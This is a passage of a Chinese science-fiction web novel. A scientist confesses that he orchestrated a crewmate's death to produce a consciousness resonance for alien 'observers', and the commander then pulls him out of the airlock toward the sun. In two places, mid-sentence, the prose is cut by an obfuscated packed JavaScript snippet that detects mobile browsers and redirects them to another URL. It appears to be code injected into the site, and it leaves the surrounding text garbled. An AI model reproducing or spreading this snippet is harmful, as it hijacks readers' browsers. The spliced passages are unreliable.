陈启笑了,转身走向气密舱方向。作战服摩擦通道壁的声音规律远去,像倒计时的秒针。 祝觉明奔向操纵台,调出出舱监控界面,手指在键盘上快速敲击。他给陈启的宇航服加装了额外三层屏蔽镀层,修改了推进器燃料配比,甚至临时编写了一段紧急脱离程序——一旦生命体征跌破阈值,宇航服会自动启动最大推力将人拽回。 但这些补救,在G5级CME和陨石弹幕面前,脆弱得像纸。 数据板角落,一个加密通讯请求突然弹出。 没有标识,只有一串乱码。 祝觉明指尖顿住。他看了一眼怀从咎——后者正死死盯着陈启消失在通道拐角的背影——然后接通,转为骨传导耳机私人接收。 “祝博士。”观照的声音传来,苍老,平稳,听不出任何情绪,“窗口期还有二十八分钟。该提交答案了。” 祝觉明闭了闭眼:“什么答案?” “你知道我在说什么。”观照微笑,“火种计划的终极答案。文明是否值得存续的答案。而答案的密钥,就在眼前这场牺牲里。” “这不是牺牲,这是谋杀。” “语义游戏改变不了本质。”观照的声音里似乎有极淡的叹息,“从陈启被选中的那一刻起,这就是注定的路径。他的生物场异常是我们刻意预处理的结果,为了在关键时刻能与太阳辐射产生最大共鸣。共鸣会激发怀从咎的灼痕,进而打开高维意识通道——那是我们唯一可能骗过观测者的机会。” 祝觉明左手无意识的颤抖,绷带下的伤口迸裂,温热的血渗出织物。 “所以一切都是计算。连袭击都是?” “袭击是意外,但被纳入了计算。”观照承认,“郭山错的备用方案确实存在,但我们不需要了。因为更完美的催化即将发生——在至亲战友的死亡面前,怀从咎的意识将突破所有阈值。届时,你将听到的不仅是人类集体悲鸣,而是整个文明意识流的共鸣。那是我们提交给观测者的无法伪造的答卷。” “如果我拒绝呢?” “你没有拒绝的权限。”观照的语气居然还有些悲悯,“戒指已经取下了吧?抑制器失效,你现在应该能听得更清楚。听听看,祝博士。听听太阳在唱什么,听听宇宙弦在震什么——然后告诉我,你还能坚持你那套人命至上的天真吗?” 通讯切断。 祝觉明摘下耳机,掌心全是冷汗。他抬头看向主控屏幕。陈启已经进入气密舱,正在做最后检查。少年的脸在面罩后有些模糊,但嘴角似乎还挂着那点笑。 那样明媚,那样纯粹,如日光般温暖。 怀从咎走过来,声音沙哑:“他出去了。” 18. 刀兵起于爱欲 是的。监控画面显示,外舱门开启,陈启的身影被黑暗吞没,只有头盔灯的光束切开虚空,照向那片破损的隔热层。工具箱磁吸在腰侧,他抽出焊枪,调整角度,蓝色电弧在真空中无声绽放。 他说“老大你们会带我回家的吧。” 他想回家。 祝觉明调出实时数据流,陈启的生命体征平稳,生物场强度开始爬升——与太阳辐射的波动曲线逐渐趋同。耦合系数突破临界点,每秒都在刷新峰值。 而怀从咎锁骨处的灼痕,开始泛出暗金色的光。 “怎么回事?”怀从咎按住颈侧,眉头紧锁,“它在发烫……” “共鸣开始了。”祝觉明低声,“对不起……” 屏幕一角,CME倒计时跳到二十二分钟。但另一组数据更刺眼:微陨石群前锋,提前抵达了。 第一颗陨石击中飞船右舷,震动传遍整个骨架。警报炸响。第二颗,第三颗……密集的撞击声如暴雨砸铁皮。陈启在外部频道里喊:“老大!陨石流来了!比预测的早了至少——” 话音中断。 不是通讯故障。 更巨大的声响直接穿透舰体、穿透宇航服、穿透血肉骨骼的……声音覆盖了所有无法用物理介质形容的震颤,像亿万口钟同时在真空里敲响、像恒星核心的核聚变咆哮被拉成长频的哀鸣。 提前收卷了。 为什么??? 祝觉明什么都来不及解释,他就那样被迫仓促的面对真相,他左手原本空荡的无名指根部骤然传来撕裂般的剧痛,仿佛那枚已取下的戒指仍在、并且正在往骨缝里烙。 他闷哼一声,撑住控制台边缘,视野开始晕染开大片的白噪点。 而在白噪点深处,声音具象化了。 他看见铺天盖地的画面,听见海啸般的嘶吼;无数人的情绪汹涌而来,将他撕碎、淹没。——地球轨道上空间站工程师在防护壳破裂前的最后呼吸、月球基地移民望着家园方向崩塌时喉头的哽咽、深空殖民船上母亲搂紧孩子哼唱摇篮曲的颤抖、联合政府大厅里总长签署文明灭绝预案时笔尖的凝滞……还有更古老的,火星荒漠里第一个人类脚印旁风化的泪痕,木卫二冰层下探测车传来的、发现氨基酸信号时全球科学家的狂欢与战栗…… 喜悦,恐惧,爱憎,贪婪,牺牲,背叛…… 所有属于人类的情感与记忆被压缩成高密度的信息流,顺着无形的弦涌向太阳,涌向那个所谓的质检仪。 ……为什么?? 不是说好了,等他们抵达,面对面坦诚相待吗?? 不是说要好好谈的吗…… 而此刻这股洪流中炸开了一束格外明亮的湍流。 来自陈启。 在陨石雨中他也艰难维持着焊枪角度,隔热层已修补大半。但他周身开始发光,从宇航服内部透出的柔和却坚韧的白光反射着绚烂的恒星,那光与太阳辐射的波动完美同步,像两个音叉共振。 生物场强度突破模型上限。 怀从咎的灼痕炸开了。 金光从锁骨喷薄而出,真实物质界的能量释放与曾经的幻象重叠,光柱刺破作战服在舱顶映出摇曳的光斑,他整个人弓起身、双手死死抓住驾驶席扶手。 “陈……启……”他从齿缝挤出名字,“陈启!” 祝觉明,我一会再收拾你。 什么观测者,什么质检仪,什么答卷…… 为什么我作为被你选入任务的人我完全一无所知?! 外部监控画面里陈启似乎感应到了什么,他转过头,面罩朝向飞船方向;没有声音传来,但祝觉明读出了口型。 “老大,跟紧我。” 下一秒,一颗偏离预测轨道的陨石击中了陈启腰间的推进器燃料罐。 没有慢镜头,没有悲壮配乐。 爆炸发生得极其干脆,白光吞噬了整个画面。 纯粹的能量释放与火焰交缠,像小型超新星在真空中昙花一现。 陈启的生物场读数在瞬间冲破仪器量程,化作一道笔直的光柱,贯穿黑暗、撞进怀从咎灼痕喷发的金光里。 两道光交融,旋转,升腾。 祝觉明终于听见了。 超越分贝概念的轰鸣直接在大脑皮层炸开,那是由七十亿个独立意识汇成的集体哭喊,由三万年文明史堆叠而成的重量,由所有诞生与死亡、创造与毁灭、爱与恨交织成的终极和声。 哀嚎。 人类作为一个物种,在宇宙审判台前最后的哀嚎。 祝觉明跪了下去。 他双手捂住耳朵,但声音从颅内每一个缝隙涌出;他看见血从自己鼻腔滴落,在控制台面板上溅开细小的梅花。 左手无名指根部的剧痛达到顶峰,仿佛有烧红的铁丝沿着神经往心脏里钻。 这就是代价。 诚如他所计算的,他根本没给自己留活路。 七窍流血,粉骨碎身,这就是他欺骗别人的代价、自己早就看见的终局。 ……只是好狼狈啊。 怀从咎,你可不可以不要看我? 而在这片毁灭性的声浪中,一个清晰冰冷的机械音浮了出来: “样本C7催化完成。共鸣体觉醒度:百分之八十九。” “火轮能量吸收确认。” “提交窗口开启。请于三十秒内注入答案。” 祝觉明挣扎着抬头。主屏幕被分割成两半:一半是外部监控的残影——陈启原本的位置只剩飘散的金属碎片和缓缓扩散的冷却等离子云;另一半是怀从咎的实时生理数据——灼痕能量输出曲线如火山喷发般陡峭攀升,脑波活动模式已脱离人类基准,正向某个未知领域跃迁。 而数据流最下方,一行小字闪烁: “观测者协议第七章:文明资格终审——进行中。” 怀从咎还站在原地,金光包裹全身,将他衬得如同神祇降世。但他眼睛睁着,瞳孔涣散、焦距落在虚空,没有实处。 泪水从眼角滚落,未及坠下就被灼痕的高温蒸发成白汽。 他张了张嘴,声音轻得像叹息,却穿透所有嘈杂,钉进祝觉明耳膜: “你在听什么呢?” 祝觉明怔住。 怀从咎缓缓转头,目光终于聚焦,落在祝觉明脸上。那双总是燃烧着野火的眼睛此刻空茫得像被挖尽的矿坑,只剩最深处一点残烬,还在固执地发亮。 他扯了扯嘴角,像笑,又像哭。 “我们的哀嚎吗?” 话音落下的瞬间,灼痕金光彻底吞没了他。 舱内所有屏幕同时熄灭。光被吸走了、声音被抽干了,连时间流动的质感都变得粘滞而怪异。 他们被吞噬了。 祝觉明跌跌撞撞冲向控制室才跪倒在黑暗里,左手无名指根部的烙印还在灼烧,像黑暗中唯一的坐标。 现在把答案提交了,还有一线生机。 “十。” 遥远深空之外,太阳表面那道绵延数十万公里的日珥突然调转方向,如神明垂落的指尖、缓缓指向了这艘渺小的飞船。 “九。” 观测者的批注即将落下。 棋盘之上王车易位。 而棋手本人正站在棋子中央,咳出掺着内脏鲜血的碎片。 “八。” 我没计算到在模拟舱故障时,你会违反所有手册冲进来;没计算到在宇宙弦结节里,你被困在扭曲金属中,我第一反应不是评估任务连续性概率,而是你不能死。我没计算到当你质问我“你看见的只是两个编号吗”时,我左手的抑制器不是因为过载而痛,而是因为更深的地方在崩塌。 ……是我的权衡吧。 说是我的心,太可笑了。 “七。” 理性告诉我,这是计划成功的征兆;你的情感越炽烈,催化越彻底。我应该满意,应该继续推进、应该在你最痛苦的时刻,冷静地记下共鸣峰值的数据。 可当我真的听见——通过过载的抑制器,通过该死的连接——听见你说陈启生命熄灭刹那、你灵魂里炸开的那声破碎的嘶吼时…… 公式失灵了。 那些我用以将一切量化的参数,在那一刻坍缩成无意义的乱码;七十亿人的集体悲鸣是抽象宏大的、属于文明尺度的噪声。而你的那一声,是具体锋利的、直接凿穿我所有理性防线的刃。 “六。” 你现在问我,是否在听你们的哀嚎。 怀从咎,我听到了。而且我比你更早听到了——在计划书里,在模型推演中,在每一个牺牲选项后的概率数字里。我听见了所有尚未发生的哀嚎,并亲手权衡了它们的价值。 我将你和陈启放上天平的一端,另一端是地球、是文明、是观测者眼中一个物种的资格答卷。 天平倾斜向哪里,从一开始就没有悬念。 所以别问我会不会后悔。 “五。” 一个早已将自己也填入算式的人,没有资格谈后悔。 “四。” 我只能告诉你:当你最终知道全部真相,当你站在存续的彼岸回望这条由谎言和牺牲铺就的血路时—— 请你务必恨我。 恨得透彻,恨得纯粹。恨到将我曾计算好的、那些关于原谅与和解的理想化结局也一并烧毁。 因为那恨意或许是你唯一能从我这里得到的、未被算计过的东西。 “三。” 也是我唯一无法为自己开脱的罪证。 祝觉明挣扎着伏上操纵台,眼含泪光,却笑的释然。 怀从咎,你先活下来,再和我算账吧。 ……你要亲手杀掉我。 “——我来亲手杀掉你。” 祝觉明回头,怀从咎不知何时跟了过来,双眼无神,黑俊俊的枪口指向自己。 枪口纹丝未动。 金属的圆环在昏暗的光线下泛着哑光的黑,稳定得不像握在一只剧烈颤抖的手里;怀从咎的瞳孔被灼痕残余的金光割裂,一半是沸腾的岩浆,一半是封冻的深渊。他往前走了一步,作战靴踩在金属地板上,发出沉闷的叩响。 “说话。”他的声音从喉咙深处碾出来,每个字都带着血沫的沙哑,“说。” 祝觉明靠在主控台边缘,左手撑住台面、鼻腔涌出的血已经流到下颚,在下巴尖凝成暗红的珠,然后滴落。他抬起右手拭了一下,视线穿过镜片落在枪口、再往上,对上怀从咎的眼睛。 ……三年前的那双眼睛,也是这样的眼神。 他忽然释然的笑了。 他就靠着操纵台安静的垂下手,不抵抗、不挣扎,俨然现在别说怀从咎要杀他,就是把他剥光了放血他都平静的甘之如饴。 他没输,没投降,他只是即使怀从咎是输家他也心甘情愿将自己交付出去。 以此换一个偿罪。 “你想听什么?”祝觉明问,声音出奇地平稳,甚至带着一丝事不关己的疲倦,“是计划的完整架构,还是每个细节如何算计你的时间节点?是陈启的基因序列何时被标记为最佳催化素,还是火星基地的救援记录为何被归档为内部机密?” 他咳嗽着,更多的血从唇角溢出。 “或者你只是想听我说——对,都是我干的。从选拔名单上圈定你的名字,到训练中刻意激化你的保护欲;从默许苏持风传递那些半真半假的信息,到亲眼看着陈启走出那扇舱门。每一步,每一个变量,都在我的模型里转过千百遍、确保最终会把你推到这个位置——被催化,被点燃,成为足以向太阳递交的文明火种。” 他只字不提是如何大胆揣测当年是怀从咎将自己从废墟中拖出的。 “三年前火星基地事故,救我的人是你。”祝觉明到了这时候反而语速平稳,每个字都像打磨过的金属,清晰而冷硬,“我当时昏迷,醒来后只关心数据能否恢复。医疗报告上的救援人员代号,我没有追查。后来在会议文件上签名,看到那个代号,我也没有追问。因为我认为,数据比一个陌生救援人员的身份更重要。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174323|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “直到昨晚我梦见那道灼痕形成的瞬间。你冲回辐射区,为了扒出存储匣;画面很清晰,包括你颈侧皮肤被高能粒子灼伤的过程。醒来后我调阅了加密档案,验证了梦的真实性。” 怀从咎瞳孔里有什么东西在碎裂、重组,握枪的手背青筋暴起,灼痕的光芒在他颈侧明灭、像呼吸,每一次明暗都让舱内的空气更沉一分。 “为什么是陈启?”怀从咎问,声音很轻,像期待得到答案又害怕听见答案,“他什么都不知道。他只是跟着我。” “因为他是你的锚。”祝觉明答得很快,像早已备好答案,“你的直觉太飘忽,你的意志太独立。需要一根足够沉重的锚,才能在情感风暴中把你牢牢钉在预设的轨道上。陈启的忠诚、他对你的信任,他死亡时能激发的痛苦——这些都是可计算的参数。” 而计算结果指向最优解:他牺牲,你爆发,任务可能成功。 “可能?”怀从咎躬身,一把拽起祝觉明衣领,“你算出的概率是多少?陈启死,我疯,然后呢?任务成功的概率,在你那该死的模型里,到底是多少?!” “百分之四十一。”祝觉明报出数字,眼睛一眨不眨,“这是现在的最优值。若没有催化,任务成功率低于百分之十。若你拒绝协作,归零。” “所以你选了他死。”怀从咎慢慢点头,每一下都像在把什么碾碎,“用我兄弟的命,换百分之三十一的概率提升。博士,你的算术真好。” “不是算术。”祝觉明避开他目光,像在教孩子牙牙学语那样纠正,“是权衡。七十亿人的存续,与一个士兵的性命……文明的火种,与个体情感的代价。当尺度拉到足够大,任何牺牲都可以被量化、被比较、被选择。” “谁给你的权力选择?!”怀从咎猛地抬高枪口,顶住祝觉明的额头。金属的冷硬透过皮肤传来,祝觉明甚至能感觉到枪口因对方颤抖而产生的细微摩擦,“谁允许你把他当成一个数字?!谁允许你……把我们当成你棋盘上的棋子?!” 他的呼吸粗重,灼痕金光大盛,几乎要烧透作战服的领口。舱内的空气开始扭曲,真实的、肉眼可见的涟漪以怀从咎为中心荡开,空间像受热的玻璃般软化、波动。 控制台上的指示灯忽明忽灭,屏幕上的乱码疯狂滚动,祝觉明已经没有血能咳了、他倚在血泊里,颤抖着一只手握住枪管挪到心口,另一只手拉开制服衣领,将自己脆弱的要害在人面前一览无余、只隔了件薄可透肌的衬衣。 他那样完美的人,亲手拆掉了自己所有的体面,却直到这一刻都没承认自己的失败。 “我没有权力。”祝觉明平静地笑了,眼睛依旧看着怀从咎,“我只是接受了现实。宇宙存在过滤机制,太阳是审判台,人类整体被判为不合格。火种计划是我们唯一的作弊手段——用局部完美的情感共鸣,去掩盖整体文明的缺陷。而你和陈启,是被选中最可能产生那种完美共鸣的组合。” 他抬起左手,露出无名指根部那个焦黑的烙印,形状与怀从咎的灼痕惊人相似。 “我也在棋盘上,怀从咎。从戴上这枚戒指开始,从我的意识被迫与观测’的低频噪声同步开始……我计算你们,也计算自己。我的理性,我的道德,甚至我对你……” 他停住了。 那句话卡在喉咙里,像一根逆生的刺。这时候再说没有意义,他最终只是摇了摇头。 “……你是我唯一的变数。”祝觉明垂眼,声音低了下去,“模型可以处理你的愤怒、你的痛苦、你因陈启之死爆发的能量。但它无法归类……当你冲进模拟舱救我时,当我听见你在宇宙弦结节里喊我的名字时,当我意识到我害怕你死……这些误差。” 他抬眼,涣散的目光穿过镜片,笔直地钉进怀从咎眼底。 “所以我删除了它们。从模型里,从报告里,从我自己承认的可能性里。我把所有计划外的扰动都归为待观察噪声,然后继续推进。因为任务必须完成,文明必须存续,而任何无法计算的变量……都是威胁。” 所以,现在,我把所有真相捧到了你面前。 我就在这里,你杀了我吧。 怀从咎盯着他,很久很久。枪口依旧抵着心口,但他的手指松了半分,灼痕的光芒缓缓回落、舱内空间的扭曲也随之平复。更深的悲哀从他眼底浮上来,取代了沸腾的杀意,他洞悉了所有绝望。 “你听见了,对不对?”怀从咎蹲下,与祝觉明的距离只隔呼吸,“陈启死的时候,你通过这玩意儿——”他用枪管点了点祝觉明太阳穴,“——听见了我怎么想的。” 祝觉明沉默。 他没有避开,甚至此时衣领都是乱的。 “你听见我想回家。”怀从咎继续说,每个字都像在凌迟自己,“听见我觉得对不起他,听见我骂你混蛋,听见我……甚至在那一秒想过,如果你早点告诉我,也许我能找到别的办法。” 他笑了,那笑声空洞得让人心头发寒。 “多可笑。你算计了一切,唯独没算到:就算到了绝路,我还是会想信你。” 祝觉明闭上眼。血从睫毛上滴下来,像红色的泪。 “所以我是你唯一的错误?”怀从咎的声音也虚无缥缈,“就因为我没按你的剧本彻底疯掉?就因为我还站在这儿,还想问你要个解释?” “不。”祝觉明睁开眼,目光清明而残忍,“你是错误,因为从始至终,我都没能真正把你变成一个数字。即使在我最精密的计算里,你也永远是……” “——例外。” 这句话落下的瞬间,主控台所有屏幕陡然亮起刺目的红光。 更高权限的强制介入界面激发警报,郭山错的面孔出现在中央屏幕上,面无表情。 “指挥官怀从咎,情绪指数突破临界阈值,行为判定:严重威胁任务连续性。”他的声音通过飞船广播传来,字正腔圆,“根据火种计划第三章第七条,优化协议现予启动。执行代码:属灵的清扫。” 舱门滑开的嘶响从通道两侧传来。 19. 尘劳烦恼 机械锁扣解除气压的平衡、武器系统上膛的金属摩擦;六个武装无人机从阴影中浮出,球形机体上的红色瞄准激光同时点亮,在空中织成一张网,将怀从咎和祝觉明笼罩在中心。 ——他们果然更改了这里的ai! 林静渊……她到底知不知道?? “清除程序倒计时:十、九、八……” 怀从咎没动。他甚至没看那些无人机,目光依旧锁在祝觉明脸上。 “这也是你算好的?”他到这时候反而笑了,“并且人要奉他的名传悔改、赦罪的道,从耶路撒冷起直传到万邦。” “不是。”祝觉明答得很快,“郭山错的权限比我高。他的优化不在我的控制范围内。” “那在谁的范围内?”怀从咎追问,“观照?还是那个所谓的观测者?” “七、六、五……” 祝觉明没有回答。他看向屏幕上的郭山错,看向那些瞄准激光的交点,然后视线转回怀从咎脸上。有那么一刹那,他眼底似乎闪过什么本能的话要讲;但太快了,快得像错觉。 “四、三、二——” “警告!” 另一个声音切了进来,介于机械与人声两者之间,混着轻微电子混响的合成。它从飞船每一个扬声器里同时涌出,填满舱室。 “清除行动将导致高维意识共鸣体永久性损毁。文明延续概率归零。重复:概率归零。建议立即终止。” 是AI。 “先知”的声音。 ……林静渊反水? 她到底帮谁?! 郭山错的表情终于出现一丝裂痕。他皱眉,手指在控制面板上快速敲击,似乎在试图覆盖指令。 无人机悬停在空中,瞄准激光闪烁不定。 舱内陷入诡异的僵持。只有AI的警告声在回荡,冰冷、无情,却陈述着最残酷的真相。 怀从咎在这片死寂中,忽然笑了。 他放下枪。 先是缓缓放下,尔后突然手腕一松,让那柄黑色的配枪自由坠落、砸在地板上,发出哐当一声闷响。然后他伸出手,不是去捡枪,而是抓住了祝觉明作战服的领口。 他用力一提,将祝觉明整个人从控制台边拽了起来。 动作粗暴,毫无缓冲;祝觉明踉跄一步,左手下意识抓住怀从咎的手臂稳住身形。两人距离拉近到呼吸相闻,怀从咎灼痕的余热扑在祝觉明脸上,混着血腥味和金属冷却后的臭氧气息。 “概率归零。”怀从咎低声重复,眼睛盯着祝觉明,“听见了吗,博士?你的模型又要更新了。” 祝觉明看着他,没说话。 “现在,”怀从咎的嘴唇几乎贴到他耳边,声音压得极低,却每个字都清晰如刀刻,“告诉我,除了把我填进你的算式,除了看着陈启死——你这个算尽一切的天才,还有没有备用的路?” 他顿了顿,补上一句,语气里带着破釜沉舟的嘲弄: “哪怕只是……理论上?” 祝觉明瞳孔微缩。他看见怀从咎眼底那点残烬,在问出这句话时,忽然重新烧了起来。 愤怒的火或悲痛的焰都不足以形容现在的怀从咎了, 属于那个会违抗命令冲进废墟,会凭直觉听出推进器异常,会在绝境中依然相信“跟紧我”就能回家的怀从咎似乎觉醒了什么。 AI冰冷无情的警报萦绕在舱室中,怀从咎忽然拎起祝觉明。 对,现在,苏持风、祝觉明是一伙,郭山错、观照是一伙,林静渊和观测者是一伙,而他和陈启是一伙。 四从阵营,四从孽障。 但如果再分一下,他们的信仰无非就三种: 观测者、家园教会、林静渊。 观照、郭山错。 祝觉明、怀从咎、陈启、苏持风。 他们什么都明白了。 怀从咎的手没有松开祝觉明的衣领。 他维持着那个将人提离地面的姿势,目光却越过祝觉明的肩、投向舱壁上那些闪烁不定的红色瞄准激光;六个武装无人机悬停如静默的蜂群,枪管旋转的微响在AI警告的余音里格外清晰。 “概率归零。”怀从咎又重复了一遍,这次语气里淬进了残酷的清明,“博士,你的模型有没有算过——如果连文明延续都只是个谎言,我们这些棋子,还演给谁看?” 祝觉明的呼吸滞了一瞬。他看见怀从咎眼底那簇重新烧起的火,不再是纯粹的愤怒或悲痛,而是更冷硬、更接近虚无的东西——像恒星燃尽后坍缩成的白矮星,密度惊人、光芒微弱,却拥有扭曲一切的引力。 “郭山错。”怀从咎忽然抬高声音,对着主屏幕上的面孔,“听见AI说的了吗?清除我,任务直接完蛋。你背后那位观照总长,想要的是这个结果?” 郭山错的面容在屏幕冷光里纹丝不动,仿佛他就是那铁面无私的判官。 “指挥官,你的情绪已严重干扰判断。优化协议旨在保障任务核心目标,即火种的成功递交。你的存在状态目前已被判定为对递交过程构成威胁。请配合执行镇静程序。” “镇静?”怀从咎毫无温度的笑了,“用无人机把我打成筛子,还是用神经锁把我变成植物人?这就是你们保障任务的方式?真他祖宗的高效。” 他手腕忽然发力,将祝觉明整个人甩向主控台方向;祝觉明后背撞上控制台边缘,闷哼一声、但没有摔倒,反而被那一下推到了相对远离无人机包围圈的外侧。 而怀从咎自己向前踏了一步。 就一步。 灼痕的金光随着他的动作骤然盛放,不再是之前无意识的外泄,而是有意识地狂暴地喷涌;光浪以他为中心炸开撞上最近的两架无人机,没有物理接触,但无人机的球形机体表面瞬间爬满细密的电弧,内部传来元件过载的噼啪爆响,旋即冒烟、歪斜,坠落在地。 剩余四架立刻后撤,激光瞄准点疯狂游移,试图重新锁定;但怀从咎周身的金光形成了一层扭曲的力场,激光射入便发生偏折,在舱壁和地板上划出凌乱的光痕。 “高维意识共鸣体能量释放超出阈值!”AI的合成音再次急促的响起,“警告:不可控能量扰动将引发太阳辐射场连锁反应。建议立即疏导,而非压制!” 郭山错的脸色终于变了。他手指在控制面板上疾敲,试图强行接管无人机的攻击指令。但屏幕上的代码流突然陷入混乱,大片乱码涌现——林静渊留下的AI“先知”正在反向入侵他的控制系统。 “怀从咎,”祝觉明撑着控制台踉跄着试图直起身,声音嘶哑,“别硬抗。你的身体撑不住这种强度的能量输出。灼痕在抽取你的生命——” “那就让它抽。”怀从咎打断他,没有回头。金光在他周身翻滚,作战服表层开始出现焦化的痕迹;皮肤下的血管在光芒映照下清晰可见,如同熔岩在岩层下奔流,“反正都是要死的。被他们清除,或者被这玩意儿烧干——有区别吗?” 他慢慢转回半张脸,轮廓在金光中锋利如刀凿,眼神却空洞得可怕。 “但陈启不能白死。” 话音落下,他动了。 祝觉明以为他要冲向无人机,或扑向屏幕里的郭山错;但都没有,他转身,一把捞起刚才掉落在地的手枪、左手同时探出再次抓住祝觉明的手腕。这次力道极大,几乎要捏碎腕骨;尔后在祝觉明反应过来之前,他拽着人,径直冲向舰桥另一侧的气密内舱门。 “你要干什么?!”祝觉明挣扎,但怀从咎此时充分证明了文臣决计打不过武官;金光力场随着他的移动向前推进,沿途的无人机被粗暴地撞开、弹飞,砸在舱壁上发出巨响,“怀从咎!” “干什么,”怀从咎在疾奔中低笑,声音混着粗重的喘息和癫狂的释然,“博士,你不是一直在算吗?算概率,算路径,算牺牲多少换多少……我告诉你,我现在给你一条全新的路径。” 他撞开气密内舱门,冲进过渡舱;身后主控室传来郭山错的怒吼和AI愈发尖锐的警报,但都被厚重的舱门在此隔绝。 祝觉明头晕目眩,颇觉生命力在极速流失;过渡舱里灯光惨白,怀从咎松开他,双手在控制面板上快速操作、解除外舱门的层层安全锁。他的动作快得眼花缭乱,有种孤注一掷的熟练;仿佛这个场景,这个挟持科学家冲向太阳的疯狂念头,早已在他脑海里预演过千百遍。 “怀从咎,”祝觉明靠在舱壁上,捂着剧痛的左手,血还在从唇角渗出,“外面是太空。没有宇航服,我们会在三十秒内——” “我知道。”怀从咎头也不回,最后一个安全锁解除的绿灯亮起,“我知道我们会死。肺炸开,血液沸腾,眼睛融化,变成两具飘在太阳风里的焦尸……很疼,很丑,很不体面。” 他停下手,转过来,背对着正在缓缓开启的外舱门;门外,恒星的光芒如同实质的金色洪流,汹涌灌入,将他整个人镀成燃烧的剪影。 “但至少,”他盯着祝觉明,眼底那点残烬在恒星的光芒里亮得骇人,“是我们自己选的死法。不是被你的模型优化掉,不是被郭山错清除,也不是被那个狗屁观测者当成答卷上的一个字符。” 他笑了,真正的笑容。尽管扭曲,尽管疯狂,却有撕破一切伪装的痛快,像赴日奔去的飞鸟。 “这叫自由,博士。你算得出这个变量的价值吗?” 外舱门完全洞开。 真空的绝对寂静与恒星辐射的轰鸣同时降临,没有空气传导,但那光芒携带着能量、灼烧着暴露的肌肤;祝觉明浑身痛的像被剥去衣服炙烤翻滚,视网膜瞬间过载、视野里只剩一片炽白。 怀从咎已迈步,踏出舱门。 他没有飘走。灼痕的金光在他脚下凝聚,竟如踏足实地般在虚空中凝结出淡金色波纹荡漾的台阶;他回头,向祝觉明伸出手。 这次他没有抓握也没有拖拽。 他在邀请。 ——来吧,和我一起登上至高至理的天堂。 现在我们赤裸相对、袒露所有倾心计算的真相;从你向我敞开衣领的时候你不就把自己交给我了么,那好,现在我来攥取你的灵魂。 你要拥抱我,与我一同灰飞烟灭。 在我憎恶你之前,请成为我在太阳面前宣誓的新房。 怀从咎就那样手掌摊开,掌心向上,指尖在恒星的光芒里微微颤抖、手背上血管毕现,还有刚刚对抗无人机时留下的灼伤。 祝觉明看着那只手。 三年前火星基地,从塌方废墟里伸向他的,是不是也是这样一只手? 沾满灰尘和血污,关节处有擦伤,却稳定有力、不容拒绝。 ……所以那时候你就想带我走吗? 我们不要在末日中再背负人类命运的褴褛火种了,我们自私一次有何不可呢?我们也有情感,我们完善了人类的情感,那谁来在意我们的喜怒哀乐? 他闭上眼。 脑海里最后一次闪过那些数据:任务成功率百分之四十一,文明存续概率在催化后提升至百分之六十七,观测者协议第七章,因果重置的触发条件……所有精心构建的模型、所有权衡过的牺牲、所有以理性之名犯下的罪—— 在恒星的光芒里,灰飞烟灭。 他睁开眼。 他知道现在最好是不要跟怀从咎走,现在舰船还可控、现在任务也许还能成功,他是最会计算的祝觉明。 但他不想再骗自己了。 他伸出手握住了怀从咎的手,触感滚烫,仿佛握住的不是人类的手掌,而是一块刚从炉膛里取出的烙铁;疼痛刺穿掌心,但他没有松开,直到怀从咎猛地将他拉出舱门。 失重感瞬间攫住全身。没有宇航服的保护,外太空的残酷直接作用于□□:耳膜内外压力差带来的剧痛,肺部空气被抽离的窒息感,皮肤暴露在宇宙辐射下的灼烫……祝觉明本能地蜷缩,但怀从咎的手臂环过他的腰,将他死死固定在身侧。 “跟紧我。”怀从咎的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174324|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接震响在他的颅骨里,通过灼痕金光与他建立意识连接;那声音嘶哑,破碎,却有着饮冰不凉热血的赤忱真心,他们在虚空中站立,“太阳,美吗?” 怀从咎脚下金光台阶延伸,一级又一级、朝着太阳的方向;每一步踏下,金光便更如长河蜿蜒,托举着两人对抗着飞船的残余引力和太阳风的推力、向着那颗庞大到占据整个视野的恒星迈去。 恒星的光芒吞没了一切。 舷窗、船体、星空、乃至身后那个正在急速远离的、载着所有阴谋与牺牲的金属棺椁……所有参照物都消失在无边的金红里,这里只有光、只有热,只有每秒数百万吨物质转化成的能量洪流在寂静中咆哮。 “博士,如果站不住就靠向我吧。” 祝觉明的意识开始模糊。 缺氧,失压,辐射灼伤……生理极限正在被迅速突破,但他左手无名指根部的烙印却传来相反冰凉的触感;那烙印正在吸收周围过量的辐射,像一道闸门,将他即将崩溃的神经强行稳住。 很奇怪,他明明应该失神、让自己的意识被滚滚洪流吞没;但它好像将自己遮在眼前的小臂强行掰开般,强迫自己面对所有未曾深爱的快感。 ——那就是快感。 要找死了反而有种末日在前无所畏惧的痛快与酣畅淋漓。 它贯穿了他残破的躯体将他们在太阳运行的星轨上死死钉在一起、狠狠刻下蚀心煮骨的一笔,疼痛反而轻描淡写了,他们此刻掌心相合肌肤相连,他们在一起奔向温暖的璨光。 与此同时,他听见了。 更遥远宏大非人的声音在他们的意识中轰鸣,他不知道怀从咎能不能听得见,但那像亿万根琴弦被同时拨动的杂乱在切实的逐渐汇聚、排列,形成拥有复杂结构的语言。那不是人类能理解的话语,是物理法则的低吟,是时空曲率波动的余韵、是恒星内部核聚变反应堆持续亿万年的单调的辉煌;在这片轰鸣的深处、清晰的语句终于浮现出来。 它没有词汇,没有语法,只是直接印入意识的概念: “检测到非标准递交行为。” 